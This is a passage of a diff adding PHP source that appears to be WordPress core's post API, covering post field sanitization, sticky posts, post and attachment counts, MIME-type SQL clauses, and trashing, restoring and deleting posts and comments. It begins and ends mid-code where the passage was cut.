+ * @param object|WP_Post|array $post    The Post Object or Array
+ * @param string               $context Optional. How to sanitize post fields.
+ *                                      Accepts 'raw', 'edit', 'db', or 'display'.
+ *                                      Default 'display'.
+ * @return object|WP_Post|array The now sanitized Post Object or Array (will be the
+ *                              same type as $post).
+ */
+function sanitize_post( $post, $context = 'display' ) {
+	if ( is_object($post) ) {
+		// Check if post already filtered for this context.
+		if ( isset($post->filter) && $context == $post->filter )
+			return $post;
+		if ( !isset($post->ID) )
+			$post->ID = 0;
+		foreach ( array_keys(get_object_vars($post)) as $field )
+			$post->$field = sanitize_post_field($field, $post->$field, $post->ID, $context);
+		$post->filter = $context;
+	} else {
+		// Check if post already filtered for this context.
+		if ( isset($post['filter']) && $context == $post['filter'] )
+			return $post;
+		if ( !isset($post['ID']) )
+			$post['ID'] = 0;
+		foreach ( array_keys($post) as $field )
+			$post[$field] = sanitize_post_field($field, $post[$field], $post['ID'], $context);
+		$post['filter'] = $context;
+	}
+	return $post;
+}
+
+/**
+ * Sanitize post field based on context.
+ *
+ * Possible context values are:  'raw', 'edit', 'db', 'display', 'attribute' and
+ * 'js'. The 'display' context is used by default. 'attribute' and 'js' contexts
+ * are treated like 'display' when calling filters.
+ *
+ * @since 2.3.0
+ *
+ * @param string $field   The Post Object field name.
+ * @param mixed  $value   The Post Object value.
+ * @param int    $post_id Post ID.
+ * @param string $context How to sanitize post fields. Looks for 'raw', 'edit',
+ *                        'db', 'display', 'attribute' and 'js'.
+ * @return mixed Sanitized value.
+ */
+function sanitize_post_field($field, $value, $post_id, $context) {
+	$int_fields = array('ID', 'post_parent', 'menu_order');
+	if ( in_array($field, $int_fields) )
+		$value = (int) $value;
+
+	// Fields which contain arrays of integers.
+	$array_int_fields = array( 'ancestors' );
+	if ( in_array($field, $array_int_fields) ) {
+		$value = array_map( 'absint', $value);
+		return $value;
+	}
+
+	if ( 'raw' == $context )
+		return $value;
+
+	$prefixed = false;
+	if ( false !== strpos($field, 'post_') ) {
+		$prefixed = true;
+		$field_no_prefix = str_replace('post_', '', $field);
+	}
+
+	if ( 'edit' == $context ) {
+		$format_to_edit = array('post_content', 'post_excerpt', 'post_title', 'post_password');
+
+		if ( $prefixed ) {
+
+			/**
+			 * Filter the value of a specific post field to edit.
+			 *
+			 * The dynamic portion of the hook name, `$field`, refers to the post
+			 * field name.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param mixed $value   Value of the post field.
+			 * @param int   $post_id Post ID.
+			 */
+			$value = apply_filters( "edit_{$field}", $value, $post_id );
+
+			/**
+			 * Filter the value of a specific post field to edit.
+			 *
+			 * The dynamic portion of the hook name, `$field_no_prefix`, refers to
+			 * the post field name.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param mixed $value   Value of the post field.
+			 * @param int   $post_id Post ID.
+			 */
+			$value = apply_filters( "{$field_no_prefix}_edit_pre", $value, $post_id );
+		} else {
+			$value = apply_filters( "edit_post_{$field}", $value, $post_id );
+		}
+
+		if ( in_array($field, $format_to_edit) ) {
+			if ( 'post_content' == $field )
+				$value = format_to_edit($value, user_can_richedit());
+			else
+				$value = format_to_edit($value);
+		} else {
+			$value = esc_attr($value);
+		}
+	} else if ( 'db' == $context ) {
+		if ( $prefixed ) {
+
+			/**
+			 * Filter the value of a specific post field before saving.
+			 *
+			 * The dynamic portion of the hook name, `$field`, refers to the post
+			 * field name.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param mixed $value Value of the post field.
+			 */
+			$value = apply_filters( "pre_{$field}", $value );
+
+			/**
+			 * Filter the value of a specific field before saving.
+			 *
+			 * The dynamic portion of the hook name, `$field_no_prefix`, refers
+			 * to the post field name.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param mixed $value Value of the post field.
+			 */
+			$value = apply_filters( "{$field_no_prefix}_save_pre", $value );
+		} else {
+			$value = apply_filters( "pre_post_{$field}", $value );
+
+			/**
+			 * Filter the value of a specific post field before saving.
+			 *
+			 * The dynamic portion of the hook name, `$field`, refers to the post
+			 * field name.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param mixed $value Value of the post field.
+			 */
+			$value = apply_filters( "{$field}_pre", $value );
+		}
+	} else {
+
+		// Use display filters by default.
+		if ( $prefixed ) {
+
+			/**
+			 * Filter the value of a specific post field for display.
+			 *
+			 * The dynamic portion of the hook name, `$field`, refers to the post
+			 * field name.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param mixed  $value   Value of the prefixed post field.
+			 * @param int    $post_id Post ID.
+			 * @param string $context Context for how to sanitize the field. Possible
+			 *                        values include 'raw', 'edit', 'db', 'display',
+			 *                        'attribute' and 'js'.
+			 */
+			$value = apply_filters( $field, $value, $post_id, $context );
+		} else {
+			$value = apply_filters( "post_{$field}", $value, $post_id, $context );
+		}
+	}
+
+	if ( 'attribute' == $context )
+		$value = esc_attr($value);
+	else if ( 'js' == $context )
+		$value = esc_js($value);
+
+	return $value;
+}
+
+/**
+ * Make a post sticky.
+ *
+ * Sticky posts should be displayed at the top of the front page.
+ *
+ * @since 2.7.0
+ *
+ * @param int $post_id Post ID.
+ */
+function stick_post( $post_id ) {
+	$stickies = get_option('sticky_posts');
+
+	if ( !is_array($stickies) )
+		$stickies = array($post_id);
+
+	if ( ! in_array($post_id, $stickies) )
+		$stickies[] = $post_id;
+
+	update_option('sticky_posts', $stickies);
+}
+
+/**
+ * Un-stick a post.
+ *
+ * Sticky posts should be displayed at the top of the front page.
+ *
+ * @since 2.7.0
+ *
+ * @param int $post_id Post ID.
+ */
+function unstick_post( $post_id ) {
+	$stickies = get_option('sticky_posts');
+
+	if ( !is_array($stickies) )
+		return;
+
+	if ( ! in_array($post_id, $stickies) )
+		return;
+
+	$offset = array_search($post_id, $stickies);
+	if ( false === $offset )
+		return;
+
+	array_splice($stickies, $offset, 1);
+
+	update_option('sticky_posts', $stickies);
+}
+
+/**
+ * Return the cache key for wp_count_posts() based on the passed arguments.
+ *
+ * @since 3.9.0
+ *
+ * @param string $type Optional. Post type to retrieve count Default 'post'.
+ * @param string $perm Optional. 'readable' or empty. Default empty.
+ * @return string The cache key.
+ */
+function _count_posts_cache_key( $type = 'post', $perm = '' ) {
+	$cache_key = 'posts-' . $type;
+	if ( 'readable' == $perm && is_user_logged_in() ) {
+		$post_type_object = get_post_type_object( $type );
+		if ( $post_type_object && ! current_user_can( $post_type_object->cap->read_private_posts ) ) {
+			$cache_key .= '_' . $perm . '_' . get_current_user_id();
+		}
+	}
+	return $cache_key;
+}
+
+/**
+ * Count number of posts of a post type and if user has permissions to view.
+ *
+ * This function provides an efficient method of finding the amount of post's
+ * type a blog has. Another method is to count the amount of items in
+ * get_posts(), but that method has a lot of overhead with doing so. Therefore,
+ * when developing for 2.5+, use this function instead.
+ *
+ * The $perm parameter checks for 'readable' value and if the user can read
+ * private posts, it will display that for the user that is signed in.
+ *
+ * @since 2.5.0
+ *
+ * @param string $type Optional. Post type to retrieve count. Default 'post'.
+ * @param string $perm Optional. 'readable' or empty. Default empty.
+ * @return object Number of posts for each status.
+ */
+function wp_count_posts( $type = 'post', $perm = '' ) {
+	global $wpdb;
+
+	if ( ! post_type_exists( $type ) )
+		return new stdClass;
+
+	$cache_key = _count_posts_cache_key( $type, $perm );
+
+	$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
+	if ( 'readable' == $perm && is_user_logged_in() ) {
+		$post_type_object = get_post_type_object($type);
+		if ( ! current_user_can( $post_type_object->cap->read_private_posts ) ) {
+			$query .= $wpdb->prepare( " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))",
+				get_current_user_id()
+			);
+		}
+	}
+	$query .= ' GROUP BY post_status';
+
+	$counts = wp_cache_get( $cache_key, 'counts' );
+	if ( false === $counts ) {
+		$results = (array) $wpdb->get_results( $wpdb->prepare( $query, $type ), ARRAY_A );
+		$counts = array_fill_keys( get_post_stati(), 0 );
+
+		foreach ( $results as $row )
+			$counts[ $row['post_status'] ] = $row['num_posts'];
+
+		$counts = (object) $counts;
+		wp_cache_set( $cache_key, $counts, 'counts' );
+	}
+
+	/**
+	 * Modify returned post counts by status for the current post type.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param object $counts An object containing the current post_type's post
+	 *                       counts by status.
+	 * @param string $type   Post type.
+	 * @param string $perm   The permission to determine if the posts are 'readable'
+	 *                       by the current user.
+	 */
+	return apply_filters( 'wp_count_posts', $counts, $type, $perm );
+}
+
+/**
+ * Count number of attachments for the mime type(s).
+ *
+ * If you set the optional mime_type parameter, then an array will still be
+ * returned, but will only have the item you are looking for. It does not give
+ * you the number of attachments that are children of a post. You can get that
+ * by counting the number of children that post has.
+ *
+ * @since 2.5.0
+ *
+ * @param string|array $mime_type Optional. Array or comma-separated list of
+ *                                MIME patterns. Default empty.
+ * @return object An object containing the attachment counts by mime type.
+ */
+function wp_count_attachments( $mime_type = '' ) {
+	global $wpdb;
+
+	$and = wp_post_mime_type_where( $mime_type );
+	$count = $wpdb->get_results( "SELECT post_mime_type, COUNT( * ) AS num_posts FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' $and GROUP BY post_mime_type", ARRAY_A );
+
+	$counts = array();
+	foreach( (array) $count as $row ) {
+		$counts[ $row['post_mime_type'] ] = $row['num_posts'];
+	}
+	$counts['trash'] = $wpdb->get_var( "SELECT COUNT( * ) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status = 'trash' $and");
+
+	/**
+	 * Modify returned attachment counts by mime type.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param object $counts    An object containing the attachment counts by
+	 *                          mime type.
+	 * @param string $mime_type The mime type pattern used to filter the attachments
+	 *                          counted.
+	 */
+	return apply_filters( 'wp_count_attachments', (object) $counts, $mime_type );
+}
+
+/**
+ * Get default post mime types.
+ *
+ * @since 2.9.0
+ *
+ * @return array List of post mime types.
+ */
+function get_post_mime_types() {
+	$post_mime_types = array(	//	array( adj, noun )
+		'image' => array(__('Images'), __('Manage Images'), _n_noop('Image <span class="count">(%s)</span>', 'Images <span class="count">(%s)</span>')),
+		'audio' => array(__('Audio'), __('Manage Audio'), _n_noop('Audio <span class="count">(%s)</span>', 'Audio <span class="count">(%s)</span>')),
+		'video' => array(__('Video'), __('Manage Video'), _n_noop('Video <span class="count">(%s)</span>', 'Video <span class="count">(%s)</span>')),
+	);
+
+	/**
+	 * Filter the default list of post mime types.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $post_mime_types Default list of post mime types.
+	 */
+	return apply_filters( 'post_mime_types', $post_mime_types );
+}
+
+/**
+ * Check a MIME-Type against a list.
+ *
+ * If the wildcard_mime_types parameter is a string, it must be comma separated
+ * list. If the real_mime_types is a string, it is also comma separated to
+ * create the list.
+ *
+ * @since 2.5.0
+ *
+ * @param string|array $wildcard_mime_types Mime types, e.g. audio/mpeg or image (same as image/*)
+ *                                          or flash (same as *flash*).
+ * @param string|array $real_mime_types     Real post mime type values.
+ * @return array array(wildcard=>array(real types)).
+ */
+function wp_match_mime_types( $wildcard_mime_types, $real_mime_types ) {
+	$matches = array();
+	if ( is_string( $wildcard_mime_types ) ) {
+		$wildcard_mime_types = array_map( 'trim', explode( ',', $wildcard_mime_types ) );
+	}
+	if ( is_string( $real_mime_types ) ) {
+		$real_mime_types = array_map( 'trim', explode( ',', $real_mime_types ) );
+	}
+
+	$patternses = array();
+	$wild = '[-._a-z0-9]*';
+
+	foreach ( (array) $wildcard_mime_types as $type ) {
+		$regex = str_replace( '__wildcard__', $wild, preg_quote( str_replace( '*', '__wildcard__', $type ) ) );
+		$patternses[1][$type] = "^$regex$";
+		if ( false === strpos($type, '/') ) {
+			$patternses[2][$type] = "^$regex/";
+			$patternses[3][$type] = $regex;
+		}
+	}
+	asort( $patternses );
+
+	foreach ( $patternses as $patterns ) {
+		foreach ( $patterns as $type => $pattern ) {
+			foreach ( (array) $real_mime_types as $real ) {
+				if ( preg_match( "#$pattern#", $real ) && ( empty( $matches[$type] ) || false === array_search( $real, $matches[$type] ) ) ) {
+					$matches[$type][] = $real;
+				}
+			}
+		}
+	}
+	return $matches;
+}
+
+/**
+ * Convert MIME types into SQL.
+ *
+ * @since 2.5.0
+ *
+ * @param string|array $post_mime_types List of mime types or comma separated string
+ *                                      of mime types.
+ * @param string       $table_alias     Optional. Specify a table alias, if needed.
+ *                                      Default empty.
+ * @return string The SQL AND clause for mime searching.
+ */
+function wp_post_mime_type_where( $post_mime_types, $table_alias = '' ) {
+	$where = '';
+	$wildcards = array('', '%', '%/%');
+	if ( is_string($post_mime_types) )
+		$post_mime_types = array_map('trim', explode(',', $post_mime_types));
+	foreach ( (array) $post_mime_types as $mime_type ) {
+		$mime_type = preg_replace('/\s/', '', $mime_type);
+		$slashpos = strpos($mime_type, '/');
+		if ( false !== $slashpos ) {
+			$mime_group = preg_replace('/[^-*.a-zA-Z0-9]/', '', substr($mime_type, 0, $slashpos));
+			$mime_subgroup = preg_replace('/[^-*.+a-zA-Z0-9]/', '', substr($mime_type, $slashpos + 1));
+			if ( empty($mime_subgroup) )
+				$mime_subgroup = '*';
+			else
+				$mime_subgroup = str_replace('/', '', $mime_subgroup);
+			$mime_pattern = "$mime_group/$mime_subgroup";
+		} else {
+			$mime_pattern = preg_replace('/[^-*.a-zA-Z0-9]/', '', $mime_type);
+			if ( false === strpos($mime_pattern, '*') )
+				$mime_pattern .= '/*';
+		}
+
+		$mime_pattern = preg_replace('/\*+/', '%', $mime_pattern);
+
+		if ( in_array( $mime_type, $wildcards ) )
+			return '';
+
+		if ( false !== strpos($mime_pattern, '%') )
+			$wheres[] = empty($table_alias) ? "post_mime_type LIKE '$mime_pattern'" : "$table_alias.post_mime_type LIKE '$mime_pattern'";
+		else
+			$wheres[] = empty($table_alias) ? "post_mime_type = '$mime_pattern'" : "$table_alias.post_mime_type = '$mime_pattern'";
+	}
+	if ( !empty($wheres) )
+		$where = ' AND (' . join(' OR ', $wheres) . ') ';
+	return $where;
+}
+
+/**
+ * Trash or delete a post or page.
+ *
+ * When the post and page is permanently deleted, everything that is tied to
+ * it is deleted also. This includes comments, post meta fields, and terms
+ * associated with the post.
+ *
+ * The post or page is moved to trash instead of permanently deleted unless
+ * trash is disabled, item is already in the trash, or $force_delete is true.
+ *
+ * @since 1.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ * @see wp_delete_attachment()
+ * @see wp_trash_post()
+ *
+ * @param int  $postid       Optional. Post ID. Default 0.
+ * @param bool $force_delete Optional. Whether to bypass trash and force deletion.
+ *                           Default false.
+ * @return array|bool|WP_Post False on failure.
+ */
+function wp_delete_post( $postid = 0, $force_delete = false ) {
+	global $wpdb;
+
+	if ( !$post = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $postid)) )
+		return $post;
+
+	if ( !$force_delete && ( $post->post_type == 'post' || $post->post_type == 'page') && get_post_status( $postid ) != 'trash' && EMPTY_TRASH_DAYS )
+			return wp_trash_post($postid);
+
+	if ( $post->post_type == 'attachment' )
+		return wp_delete_attachment( $postid, $force_delete );
+
+	/**
+	 * Fires before a post is deleted, at the start of wp_delete_post().
+	 *
+	 * @since 3.2.0
+	 *
+	 * @see wp_delete_post()
+	 *
+	 * @param int $postid Post ID.
+	 */
+	do_action( 'before_delete_post', $postid );
+
+	delete_post_meta($postid,'_wp_trash_meta_status');
+	delete_post_meta($postid,'_wp_trash_meta_time');
+
+	wp_delete_object_term_relationships($postid, get_object_taxonomies($post->post_type));
+
+	$parent_data = array( 'post_parent' => $post->post_parent );
+	$parent_where = array( 'post_parent' => $postid );
+
+	if ( is_post_type_hierarchical( $post->post_type ) ) {
+		// Point children of this page to its parent, also clean the cache of affected children.
+		$children_query = $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_parent = %d AND post_type = %s", $postid, $post->post_type );
+		$children = $wpdb->get_results( $children_query );
+
+		$wpdb->update( $wpdb->posts, $parent_data, $parent_where + array( 'post_type' => $post->post_type ) );
+	}
+
+	// Do raw query. wp_get_post_revisions() is filtered.
+	$revision_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'revision'", $postid ) );
+	// Use wp_delete_post (via wp_delete_post_revision) again. Ensures any meta/misplaced data gets cleaned up.
+	foreach ( $revision_ids as $revision_id )
+		wp_delete_post_revision( $revision_id );
+
+	// Point all attachments to this post up one level.
+	$wpdb->update( $wpdb->posts, $parent_data, $parent_where + array( 'post_type' => 'attachment' ) );
+
+	$comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = %d", $postid ));
+	foreach ( $comment_ids as $comment_id )
+		wp_delete_comment( $comment_id, true );
+
+	$post_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d ", $postid ));
+	foreach ( $post_meta_ids as $mid )
+		delete_metadata_by_mid( 'post', $mid );
+
+	/**
+	 * Fires immediately before a post is deleted from the database.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param int $postid Post ID.
+	 */
+	do_action( 'delete_post', $postid );
+	$result = $wpdb->delete( $wpdb->posts, array( 'ID' => $postid ) );
+	if ( ! $result ) {
+		return false;
+	}
+
+	/**
+	 * Fires immediately after a post is deleted from the database.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $postid Post ID.
+	 */
+	do_action( 'deleted_post', $postid );
+
+	clean_post_cache( $post );
+
+	if ( is_post_type_hierarchical( $post->post_type ) && $children ) {
+		foreach ( $children as $child )
+			clean_post_cache( $child );
+	}
+
+	wp_clear_scheduled_hook('publish_future_post', array( $postid ) );
+
+	/**
+	 * Fires after a post is deleted, at the conclusion of wp_delete_post().
+	 *
+	 * @since 3.2.0
+	 *
+	 * @see wp_delete_post()
+	 *
+	 * @param int $postid Post ID.
+	 */
+	do_action( 'after_delete_post', $postid );
+
+	return $post;
+}
+
+/**
+ * Reset the page_on_front, show_on_front, and page_for_post settings when
+ * a linked page is deleted or trashed.
+ *
+ * Also ensures the post is no longer sticky.
+ *
+ * @since 3.7.0
+ * @access private
+ *
+ * @param int $post_id Post ID.
+ */
+function _reset_front_page_settings_for_post( $post_id ) {
+	$post = get_post( $post_id );
+	if ( 'page' == $post->post_type ) {
+	 	/*
+	 	 * If the page is defined in option page_on_front or post_for_posts,
+	 	 * adjust the corresponding options.
+	 	 */
+		if ( get_option( 'page_on_front' ) == $post->ID ) {
+			update_option( 'show_on_front', 'posts' );
+			update_option( 'page_on_front', 0 );
+		}
+		if ( get_option( 'page_for_posts' ) == $post->ID ) {
+			delete_option( 'page_for_posts', 0 );
+		}
+	}
+	unstick_post( $post->ID );
+}
+add_action( 'before_delete_post', '_reset_front_page_settings_for_post' );
+add_action( 'wp_trash_post',      '_reset_front_page_settings_for_post' );
+
+/**
+ * Move a post or page to the Trash
+ *
+ * If trash is disabled, the post or page is permanently deleted.
+ *
+ * @since 2.9.0
+ *
+ * @see wp_delete_post()
+ *
+ * @param int $post_id Optional. Post ID. Default is ID of the global $post
+ *                     if EMPTY_TRASH_DAYS equals true.
+ * @return bool|array Post data array, otherwise false.
+ */
+function wp_trash_post( $post_id = 0 ) {
+	if ( !EMPTY_TRASH_DAYS )
+		return wp_delete_post($post_id, true);
+
+	if ( !$post = get_post($post_id, ARRAY_A) )
+		return $post;
+
+	if ( $post['post_status'] == 'trash' )
+		return false;
+
+	/**
+	 * Fires before a post is sent to the trash.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param int $post_id Post ID.
+	 */
+	do_action( 'wp_trash_post', $post_id );
+
+	add_post_meta($post_id,'_wp_trash_meta_status', $post['post_status']);
+	add_post_meta($post_id,'_wp_trash_meta_time', time());
+
+	$post['post_status'] = 'trash';
+	wp_insert_post($post);
+
+	wp_trash_post_comments($post_id);
+
+	/**
+	 * Fires after a post is sent to the trash.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $post_id Post ID.
+	 */
+	do_action( 'trashed_post', $post_id );
+
+	return $post;
+}
+
+/**
+ * Restore a post or page from the Trash.
+ *
+ * @since 2.9.0
+ *
+ * @param int $post_id Optional. Post ID. Default is ID of the global $post.
+ * @return WP_Post|bool WP_Post object. False on failure.
+ */
+function wp_untrash_post( $post_id = 0 ) {
+	if ( !$post = get_post($post_id, ARRAY_A) )
+		return $post;
+
+	if ( $post['post_status'] != 'trash' )
+		return false;
+
+	/**
+	 * Fires before a post is restored from the trash.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $post_id Post ID.
+	 */
+	do_action( 'untrash_post', $post_id );
+
+	$post_status = get_post_meta($post_id, '_wp_trash_meta_status', true);
+
+	$post['post_status'] = $post_status;
+
+	delete_post_meta($post_id, '_wp_trash_meta_status');
+	delete_post_meta($post_id, '_wp_trash_meta_time');
+
+	wp_insert_post($post);
+
+	wp_untrash_post_comments($post_id);
+
+	/**
+	 * Fires after a post is restored from the trash.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $post_id Post ID.
+	 */
+	do_action( 'untrashed_post', $post_id );
+
+	return $post;
+}
+
+/**
+ * Moves comments for a post to the trash.
+ *
+ * @since 2.9.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|WP_Post $post Optional. Post ID or post object. Defaults to global $post.
+ * @return mixed False on failure.
+ */
+function wp_trash_post_comments( $post = null ) {
+	global $wpdb;
+
+	$post = get_post($post);
+	if ( empty($post) )
+		return;
+
+	$post_id = $post->ID;
+
+	/**
+	 * Fires before comments are sent to the trash.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $post_id Post ID.
+	 */
+	do_action( 'trash_post_comments', $post_id );
+
+	$comments = $wpdb->get_results( $wpdb->prepare("SELECT comment_ID, comment_approved FROM $wpdb->comments WHERE comment_post_ID = %d", $post_id) );
+	if ( empty($comments) )
+		return;
+
+	// Cache current status for each comment.
+	$statuses = array();
+	foreach ( $comments as $comment )
+		$statuses[$comment->comment_ID] = $comment->comment_approved;
+	add_post_meta($post_id, '_wp_trash_meta_comments_status', $statuses);
+
+	// Set status for all comments to post-trashed.
+	$result = $wpdb->update($wpdb->comments, array('comment_approved' => 'post-trashed'), array('comment_post_ID' => $post_id));
+
+	clean_comment_cache( array_keys($statuses) );
+
+	/**
+	 * Fires after comments are sent to the trash.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int   $post_id  Post ID.
+	 * @param array $statuses Array of comment statuses.
+	 */
+	do_action( 'trashed_post_comments', $post_id, $statuses );
+
+	return $result;
+}
+
+/**
+ * Restore comments for a post from the trash.
+ *
+ * @since 2.9.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or post object. Defaults to global $post.
+ * @return null|bool Null on failure.
+ */
+function wp_untrash_post_comments( $post = null ) {
+	global $wpdb;
+
+	$post = get_post($post);
+	if ( empty($post) )
+		return;
+
+	$post_id = $post->ID;
+
+	$statuses = get_post_meta($post_id, '_wp_trash_meta_comments_status', true);
+
+	if ( empty($statuses) )
+		return true;
+
+	/**
+	 * Fires before comments are restored for a post from the trash.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $post_id Post ID.
+	 */
+	do_action( 'untrash_post_comments', $post_id );
+
+	// Restore each comment to its original status.
+	$group_by_status = array();
+	foreach ( $statuses as $comment_id => $comment_status )
+		$group_by_status[$comment_status][] = $comment_id;
+
+	foreach ( $group_by_status as $status => $comments ) {
+		// Sanity check. This shouldn't happen.
+		if ( 'post-trashed' == $status )
+			$status = '0';
+		$comments_in = implode( "', '", $comments );
+		$wpdb->query( "UPDATE $wpdb->comments SET comment_approved = '$status' WHERE comment_ID IN ('" . $comments_in . "')" );
+	}
+
+	clean_comment_cache( array_keys($statuses) );
+
+	delete_post_meta($post_id, '_wp_trash_meta_comments_status');
+
+	/**
+	 * Fires after comments are restored for a post from the trash.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $post_id Post ID.
+	 */
+	do_action( 'untrashed_post_comments', $post_id );
+}
+
+/**
+ * Retrieve the list of categories for a post.
+ *
+ * Compatibility layer for themes and plugins. Also an easy layer of abstraction
+ * away from the complexity of the taxonomy layer.
+ *
+ * @since 2.1.0
+ *
+ * @see wp_get_object_terms()
+ *
+ * @param int   $post_id Optional. The Post ID. Does not default to the ID of the
+ *                       global $post. Default 0.
+ * @param array $args    Optional. Category arguments. Default empty.
+ * @return array List of categories.
+ */
+function wp_get_post_categories( $post_id = 0, $args = array() ) {
+	$post_id = (int) $post_id;
+
+	$defaults = array('fields' => 'ids');
+	$args = wp_parse_args( $args, $defaults );
+
+	$cats = wp_get_object_terms($post_id, 'category', $args);
+	return $cats;
+}
+
+/**
+ * Retrieve the tags for a post.
+ *
+ * There is only one default for this function, called 'fields' and by default
+ * is set to 'all'. There are other defaults that can be overridden in
+ * {@link wp_get_object_terms()}.
+ *
+ * @since 2.3.0
+ *
+ * @param int   $post_id Optional. The Post ID. Does not default to the ID of the
+ *                       global $post. Defualt 0.
+ * @param array $args Optional. Overwrite the defaults
+ * @return array List of post tags.
+ */
+function wp_get_post_tags( $post_id = 0, $args = array() ) {
+	return wp_get_post_terms( $post_id, 'post_tag', $args);
+}
+
+/**
+ * Retrieve the terms for a post.
+ *
+ * There is only one default for this function, called 'fields' and by default
+ * is set to 'all'. There are other defaults that can be overridden in
+ * {@link wp_get_object_terms()}.
+ *
+ * @since 2.8.0
+ *
+ * @param int    $post_id  Optional. The Post ID. Does not default to the ID of the
+ *                         global $post. Default 0.
+ * @param string $taxonomy Optional. The taxonomy for which to retrieve terms. Default 'post_tag'.
+ * @param array  $args     Optional. {@link wp_get_object_terms()} arguments. Default empty array.
+ * @return array List of post tags.
+ */
+function wp_get_post_terms( $post_id = 0, $taxonomy = 'post_tag', $args = array() ) {
+	$post_id = (int) $post_id;
+
+	$defaults = array('fields' => 'all');
+	$args = wp_parse_args( $args, $defaults );
+
+	$tags = wp_get_object_terms($post_id, $taxonomy, $args);
+
+	return $tags;
+}
+
+/**
+ * Retrieve a number of recent posts.
+ *
+ * @since 1.0.0
+ *
+ * @see get_posts()
+ *
+ * @param array  $args       Optional. Arguments to retrieve posts. Default empty array.
+ * @param string $output     Optional. Type of output. Accepts ARRAY_A or ''. Default ARRAY_A.
+ * @return array|bool Associative array if $output equals ARRAY_A, array or false if no results.
+ */
+function wp_get_recent_posts( $args = array(), $output = ARRAY_A ) {
+
+	if ( is_numeric( $args ) ) {
+		_deprecated_argument( __FUNCTION__, '3.1', __( 'Passing an integer number of posts is deprecated. Pass an array of arguments instead.' ) );
+		$args = array( 'numberposts' => absint( $args ) );
+	}
+
+	// Set default arguments.
+	$defaults = array(
+		'numberposts' => 10, 'offset' => 0,
+		'category' => 0, 'orderby' => 'post_date',
+		'order' => 'DESC', 'include' => '',
+		'exclude' => '', 'meta_key' => '',
+		'meta_value' =>'', 'post_type' => 'post', 'post_status' => 'draft, publish, future, pending, private',
+		'suppress_filters' => true
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	$results = get_posts( $r );
+
+	// Backward compatibility. Prior to 3.1 expected posts to be returned in array.
+	if ( ARRAY_A == $output ){
+		foreach( $results as $key => $result ) {
+			$results[$key] = get_object_vars( $result );
+		}
+		return $results ? $results : array();
+	}
+
+	return $results ? $results : false;
+
+}
+
+/**
+ * Insert or update a post.
+ *
+ * If the $postarr parameter has 'ID' set to a value, then post will be updated.
+ *
+ * You can set the post date manually, by setting the values for 'post_date'
+ * and 'post_date_gmt' keys. You can close the comments or open the comments by
+ * setting the value for 'comment_status' key.
+ *
+ * @since 1.0.0
+ *
+ * @see sanitize_post()
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $postarr {
+ *     An array of elements that make up a post to update or insert.
+ *
+ *     @type int    $ID                    The post ID. If equal to something other than 0,
+ *                                         the post with that ID will be updated. Default 0.
+ *     @type string $post_status           The post status. Default 'draft'.
+ *     @type string $post_type             The post type. Default 'post'.
+ *     @type int    $post_author           The ID of the user who added the post. Default is
+ *                                         the current user ID.
+ *     @type bool   $ping_status           Whether the post can accept pings. Default is the
+ *                                         value of 'default_ping_status' option.
+ *     @type int    $post_parent           Set this for the post it belongs to, if any. Default 0.
+ *     @type int    $menu_order            The order it is displayed. Default 0.
+ *     @type string $to_ping               Space or carriage return-separated list of URLs to ping.
+ *                                         Default empty string.
+ *     @type string $pinged                Space or carriage return-separated list of URLs that have
+ *                                         been pinged. Default empty string.
+ *     @type string $post_password         The password to access the post. Default empty string.
+ *     @type string $guid'                 Global Unique ID for referencing the post.
+ *     @type string $post_content_filtered The filtered post content. Default empty string.
+ *     @type string $post_excerpt          The post excerpt. Default empty string.
+ * }
+ * @param bool  $wp_error Optional. Whether to allow return of WP_Error on failure. Default false.
+ * @return int|WP_Error The post ID on success. The value 0 or WP_Error on failure.
+ */
+function wp_insert_post( $postarr, $wp_error = false ) {
+	global $wpdb;
+
+	$user_id = get_current_user_id();
+
+	$defaults = array('post_status' => 'draft', 'post_type' => 'post', 'post_author' => $user_id,
+		'ping_status' => get_option('default_ping_status'), 'post_parent' => 0,
+		'menu_order' => 0, 'to_ping' =>  '', 'pinged' => '', 'post_password' => '',
+		'guid' => '', 'post_content_filtered' => '', 'post_excerpt' => '', 'import_id' => 0,
+		'post_content' => '', 'post_title' => '', 'context' => '');
+
+	$postarr = wp_parse_args($postarr, $defaults);
+
+	unset( $postarr[ 'filter' ] );
+
+	$postarr = sanitize_post($postarr, 'db');
+
+	// Are we updating or creating?
+	$post_ID = 0;
+	$update = false;
+	$guid = $postarr['guid'];
+
+	if ( ! empty( $postarr['ID'] ) ) {
+		$update = true;
+
+		// Get the post ID and GUID.
